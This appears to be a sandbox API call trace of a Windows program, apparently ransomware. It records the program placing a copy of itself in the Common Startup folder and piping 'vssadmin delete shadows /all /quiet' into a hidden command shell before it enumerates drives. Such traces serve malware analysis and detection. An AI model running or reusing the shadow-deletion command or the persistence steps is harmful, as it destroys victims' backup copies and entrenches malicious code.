	[0245.121] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d98a8 | out: hHeap=0x4a0000) returned 1
	[0245.121] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x2090020 | out: hHeap=0x4a0000) returned 1
	[0245.126] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4feb68
	[0245.126] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x50eb70
	[0245.126] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a00
	[0245.126] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d4a00, Size=0x20) returned 0x4d98a8
	[0245.126] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d98a8, Size=0x40) returned 0x4da9d8
	[0245.126] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da9d8, Size=0x80) returned 0x51eb90
	[0245.126] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x51eb90, Size=0x100) returned 0x4dbb20
	[0245.126] lstrlenW (lpString="") returned 0
	[0245.126] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0245.126] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8c) returned 0x4dbdb8
	[0245.126] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0
	[0245.126] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x50eb70, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0
	[0245.126] RegCloseKey (hKey=0xe4) returned 0x0
	[0245.126] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dbdb8 | out: hHeap=0x4a0000) returned 1
	[0245.126] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59
	[0245.126] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0245.126] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dbb20 | out: hHeap=0x4a0000) returned 1
	[0245.126] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\swpesp.exe", lpDst=0x4feb68, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\swpesp.exe") returned 0x48
	[0245.126] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x50eb70 | out: hHeap=0x4a0000) returned 1
	[0245.126] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4feb68 | out: hHeap=0x4a0000) returned 1
	[0245.126] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x100000) returned 0x2090020
	[0245.126] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a00
	[0245.126] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d4a00, Size=0x20) returned 0x4d98a8
	[0245.126] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a00
	[0245.126] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d4a00, Size=0x20) returned 0x4d9858
	[0245.127] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x755c0000
	[0245.127] GetProcAddress (hModule=0x755c0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x755ed650
	[0245.127] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1
	[0245.127] lstrlenW (lpString="kernel32.dll") returned 12
	[0245.127] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d98a8 | out: hHeap=0x4a0000) returned 1
	[0245.127] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0245.127] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d9858 | out: hHeap=0x4a0000) returned 1
	[0245.127] CreateFileW (lpFileName="C:\\Windows\\System32\\swpesp.exe" (normalized: "c:\\windows\\system32\\swpesp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4
	[0245.127] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\swpesp.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\swpesp.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0245.127] CloseHandle (hObject=0xe4) returned 1
	[0245.127] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a00
	[0245.128] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d4a00, Size=0x20) returned 0x4d9858
	[0245.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a00
	[0245.128] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d4a00, Size=0x20) returned 0x4d98a8
	[0245.128] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x755c0000
	[0245.128] GetProcAddress (hModule=0x755c0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x755ed650
	[0245.128] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1
	[0245.128] lstrlenW (lpString="kernel32.dll") returned 12
	[0245.128] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d98a8 | out: hHeap=0x4a0000) returned 1
	[0245.128] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0245.128] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d9858 | out: hHeap=0x4a0000) returned 1
	[0245.128] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x2090020 | out: hHeap=0x4a0000) returned 1
	[0245.128] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4deb58 | out: hHeap=0x4a0000) returned 1
	[0245.128] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4eeb60 | out: hHeap=0x4a0000) returned 1
	[0245.128] lstrlenW (lpString="%windir%\\System32") returned 17
	[0245.128] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4da948 | out: hHeap=0x4a0000) returned 1
	[0245.128] lstrlenW (lpString="%appdata%") returned 9
	[0245.128] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4328 | out: hHeap=0x4a0000) returned 1
	[0245.128] lstrlenW (lpString="%sh(Startup)%") returned 13
	[0245.128] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4300 | out: hHeap=0x4a0000) returned 1
	[0245.128] lstrlenW (lpString="%sh(Common Startup)%") returned 20
	[0245.128] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4da990 | out: hHeap=0x4a0000) returned 1
	[0245.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a00
	[0245.128] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d4a00, Size=0x20) returned 0x4b4300
	[0245.128] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4300, Size=0x40) returned 0x4da990
	[0245.128] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da990, Size=0x80) returned 0x51eb90
	[0245.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a00
	[0245.128] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d4a00, Size=0x20) returned 0x4b4300
	[0245.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x1fffc) returned 0x4deb58
	[0245.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4feb60
	[0245.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x50eb68
	[0245.128] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a00
	[0245.129] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d4a00, Size=0x20) returned 0x4b4328
	[0245.129] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4328, Size=0x40) returned 0x4da990
	[0245.129] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4da990, Size=0x80) returned 0x51ec18
	[0245.129] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x51ec18, Size=0x100) returned 0x4dbb20
	[0245.129] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0245.129] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dbb20 | out: hHeap=0x4a0000) returned 1
	[0245.129] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x4feb60, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c
	[0245.129] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x50eb68 | out: hHeap=0x4a0000) returned 1
	[0245.129] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4feb60 | out: hHeap=0x4a0000) returned 1
	[0245.130] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1
	[0245.137] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1
	[0245.137] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1
	[0245.137] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1
	[0245.137] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0x5bc, dwThreadId=0x5c0)) returned 1
	[0245.312] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0245.312] WriteFile (in: hFile=0xec, lpBuffer=0x51eb90*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x51eb90*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1
	[0245.312] CloseHandle (hObject=0xfc) returned 1
	[0245.312] CloseHandle (hObject=0xf8) returned 1
	[0245.312] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4deb58 | out: hHeap=0x4a0000) returned 1
	[0245.312] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0245.312] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51eb90 | out: hHeap=0x4a0000) returned 1
	[0245.312] lstrlenW (lpString="%comspec%") returned 9
	[0245.312] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4300 | out: hHeap=0x4a0000) returned 1
	[0245.312] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8
	[0245.313] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4d4a00
	[0245.313] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x4d4a00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc
	[0245.313] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4d8f68
	[0245.313] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x4d8f68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104
	[0245.314] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a18
	[0245.314] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d4a18, Size=0x20) returned 0x4b4300
	[0245.314] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4300, Size=0x40) returned 0x4da990
	[0245.314] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26
	[0245.314] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xd0) returned 0x4dbb20
	[0245.314] GetLogicalDrives () returned 0x4
	[0245.314] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10014) returned 0x4deb58
	[0245.314] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a18
	[0245.314] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d4a18, Size=0x20) returned 0x4b4300
	[0245.314] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b4300, Size=0x40) returned 0x4daa20
	[0245.314] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4daa20, Size=0x80) returned 0x51eb90
	[0245.314] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x51eb90, Size=0x100) returned 0x4dd740
	[0245.314] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd740, Size=0x200) returned 0x4dd740
	[0245.314] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd740, Size=0x400) returned 0x4dd128
	[0245.314] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd128, Size=0x800) returned 0x520b78
	[0245.314] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x520b78, Size=0x1000) returned 0x520b78
	[0245.314] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x4eeb78
	[0245.314] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4d4a18
	[0245.314] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4d4af0
	[0245.314] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x4) returned 0x4dbe28
	[0245.314] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4d4b08
	[0245.314] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x4) returned 0x4dbe38
	[0245.314] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d4b20
	[0245.314] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dbe38, Size=0x8) returned 0x4dbe38
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d4b38
	[0245.315] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dbe38, Size=0x10) returned 0x4dbe38
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d4b50
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d4b68
	[0245.315] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dbe38, Size=0x20) returned 0x4dbe38
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d4b80
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4dd140
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x4d4b98
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x4d4bb0
	[0245.315] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dbe38, Size=0x40) returned 0x4d9280
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x4d4bc8
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x4d4be0
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x4d4bf8
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x4d4c10
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d4c28
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d4c40
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4dd150
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d4c58
	[0245.315] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d9280, Size=0x80) returned 0x4dbbf8
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d4c70
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d4c88
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4d4ca0
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521b98
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521bb0
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x521bc8
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521be0
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4dd160
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521bf8
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521c10
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x521c28
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521c40
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x521c58
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521c70
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x521c88
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521ca0
	[0245.315] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dbbf8, Size=0x100) returned 0x4dd740
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521cb8
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521cd0
	[0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521ce8
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x521d00
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521d18
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521d30
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4dd170
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521d48
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521d60
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521d78
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x6) returned 0x4dd180
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521d90
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521da8
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4dd190
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521dc0
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521dd8
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x521df0
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521e08
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521e20
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521e38
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x521e50
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521e68
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x521e80
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521e98
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521eb0
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521ec8
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521ee0
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4dd1a0
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521ef8
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521f10
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521f28
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521f40
	[0245.316] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd740, Size=0x200) returned 0x4dd740
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521f58
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4dd1b0
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521f98
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521fb0
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521fc8
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521fe0
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521ff8
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522010
	[0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522028
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522040
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522058
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x522070
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x522088
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5220a0
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5220b8
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x5220d0
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x5220e8
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522100
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x522118
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x522130
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522148
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522160
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522178
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4dd1c0
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522190
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5221a8
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5221c0
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4dd1d0
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5221d8
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x5221f0
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522208
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522220
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522238
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522250
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522268
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522280
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x522298
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x5222b0
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5222c8
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5222e0
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5222f8
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x522310
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522328
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522340
	[0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x522358
